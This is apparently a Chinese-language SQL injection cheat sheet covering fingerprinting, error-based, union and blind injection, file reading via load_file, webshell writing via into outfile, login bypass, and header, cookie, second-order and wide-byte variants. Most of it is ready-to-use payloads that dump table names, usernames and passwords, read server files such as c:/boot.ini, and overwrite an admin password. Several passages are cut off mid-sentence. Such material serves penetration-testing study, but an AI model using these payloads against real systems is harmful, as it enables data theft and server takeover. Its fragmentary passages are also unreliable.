SQL的注入流程一般如下: 1、判断是否有SQL注入漏洞(判断注入点) 2、判断数据库的系统架构、数据库名、web应用类型等 3、获取数据库信息 4、加密信息破解 5、进行提权 前篇注入漏洞分类:数字型注入:当输入(注入)的参数为整数,则可以认为该漏洞注入点为数字型注入; http://192.168.2.172/index.php/?id=8 在后端中SQL语句构成如下: select * from user where id=8; 字符型注入:当输入(注入)的参数为字符/串时可以认定为是字符型注入漏洞 其它注入:POST注入:注入字段在POST数据中 Cookie注入:注入字段在Cookie数据中 延迟注入:使用数据库延迟特性进行注入 搜索注入:在搜索栏中利用恶意代码进行注入 base64注入:注入字符串经过base64加密 判断注入点' or 1=1 # and 1=1 # and '1'='1' # 1') and ('1=1') # url/?id=1/1 url/?id=1/0 判断数据库系统类型
MySQL字符串连接判断: ?id=1 and '1'+'1' = '11' ?id=1 and concat('1','1')='11' 判断数据库的系统库表: ' and (select count(*) from information_schema.tables)>0 and 1=1 MSSQL默认变量: '?; select @@servername--+ 字符串连接判断: ?id=1 and '1'+'1'='11' 数据库系统表判断: ' and (select count(*) from sysobjects)>0 and 1=1 Oracle系统表判断: ' and (select count(*) from sys.user_tables)>0 and 1=1 字符串连接判断: and '1'||'1' = '11' and concat('1','1')='11' MySQL注入姿势payload报错注入
floor报错注入:
' and select count(*) from table group by floor(rand(0))*2 # union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #
原始表需要拥有三条数据以上 报错注入产生原因: 调用count()函数是,会创建一张临时表用来统计group by后的行数;第一次查询到的结果为0,插入到临时表中,由于结果为0 再一次对原始表进行查询,结果返回1,插入到临时表中;第二次查询结果为1 因为临时表有了1,所以直接在count(1)上加1,此时1字段有了两行,第三次查询结果为0 插入到临时表的同时再次查询原始表,结果为1进行插入,由于此前1字段已经存在。 ExtractValue报错注入:# 爆表 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+ # 爆字段 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+ # 爆数据 and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+ 1' and extractvalue(1,concat(0x7e,user()))#
我们从数据库的注入点中进行报错注入,得到了数据库当前表 UpdateXml报错注入:1' and updatexml(1,concat(0x7e,(user())),1);#
join报错注入:and (select * from (select * from test as a join test as b) as c using(column_name1,...));
联合注入union select * from (select name_const(version(),1),name_const(version(),1))x;#
# 猜解列数 union select 1,2[,……] --+ # 爆表 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ # 爆字段 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+ # 爆数据 union select 1,group_concat(id,0x7e,email_id),3 from emails --+
盲注
基于布尔盲注?id=1' and left(version(),1)='5' --+
只有当 通过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,所以版本信息第一个字符是'5’)由此推演,我们可以利用布尔的判断特性来猜解数据库名…… 如果我们不断的对目标进行猜解,就可以得到数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也可以通过 牢记布尔盲注的特点:只有当 ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 # ascii(substr((select database()),1,1))=98
like匹配注入 select user() like 'ro%' 基于报错盲注extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+ 基于时间盲注主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~ If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假, ?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
and exists(select * from admin);
XOR(if(now()=sysdate(),sleep(4),0))OR;
文件的导入和导出load_file()导出文件
先决条件:
解决方案:绝对物理物理:提交一个错误的请求,程序会由概率性质爆出web目录的绝对路径 Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))) 利用 hex()将文件内容导出来, 尤其是 smb 文件时可以使用。 -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码 -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,1,load_file(c:\boot.ini) Explain:路径里的/用 \代替 load data infile导入数据库
load data infile {url} into table 表名(字段) into outfile导入到文件select [^] into outfile '[file_name]'; 选择的一行写入到文件中,该文件保存在服务器主机上 如果达到渗透攻击的目的~就i利用into outfile将一句话木马写入到文件中 POST注入提交表单,表单数据在后台会构成sql语句; POST举例:$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'"; 利用注释符号的特性,改变sql语句的限制~ 直接丢上万能密码 admin' or '1'='1' # uname= admin' or '1'='1' #&passwd=pass&submit=Submit 语句在后台就会构成: $sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'" 后半部分的pass内容直接被注释了! POST利用:uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit post的注入利用,其实本质依旧没有变~只是改变了请求的构造结构 有回显的时候使用union或报错注入 无法使用常规回显的时候可以使用盲注…… HTTP头部注入User-Agent注入用户代理(user agent)是记录软件程序的客户端信息的 HTTP 头字段,他可以用来统计目标和违规协议。在 HTTP 头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到 user-agent 信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下 user-agent 头存在的问题了。 GET /index.php HTTP/1.1 Host:xx.xxx.xxx.xx User-Agent:admin' or 1/* Referer注入Referer 是另外一个当应用程序没有过滤存储到数据库时,容易发生 SQL 注入的 HTTP 头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求 URI 的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。 GET /index.php HTTP/1.1 Host: [host] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 Referer: http://www.' Cookie注入在ASP中,Request对象获取客户端提交数据使用的是POST还是GET方法,同时Request对象可以不通过集合过的数据,直接使用 条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。 条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。 javascript:alert(document.cookie="id="+escape("1"))
Cookie的注入原理核心在于修改本地保存的Cookie,利用Cookie来提交非法的查询语句 如果开发者没有对Cookie进行过滤检查,Cookie的就可能会造成非法查询语句的构造 X-Forwarded-For注入
利用FireFox的XFF Header插件或者将Burp抓到的爆保存给SQLmap 二次排序*- 借鉴sqli-labs-24 分析环境文件:
login.php中使用了 思路:
在 数据会被完整的记录在数据库中 数据库中有了我们的“小玩意”之后…… 登录我们的账户,因为我们的账户是以 前端提交user和pass后,会在修改密码页面修改密码 就这样我们成功的修改了admin的密码!为啥呢? Sql 语句变为 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ' AND password=’ 也 就 是 执 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’ 利用注册的admin’# 修改密码时候从数据库提取该数据 造成了数据 命令拼接 宽字节注入mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个 1、 %df 吃掉 \ 具体的原因是 urlencode(') = %5c%27, 我们在%5c%27 前面添加%df, 形 get 型的方式我们是以 url 形式提交的, 因此数据会通过 URLencode post 型的注入当中, 将 utf-8 转换为 utf-16 或 utf-32, 例如将 ' 转为 utf-16 为 � ' |
|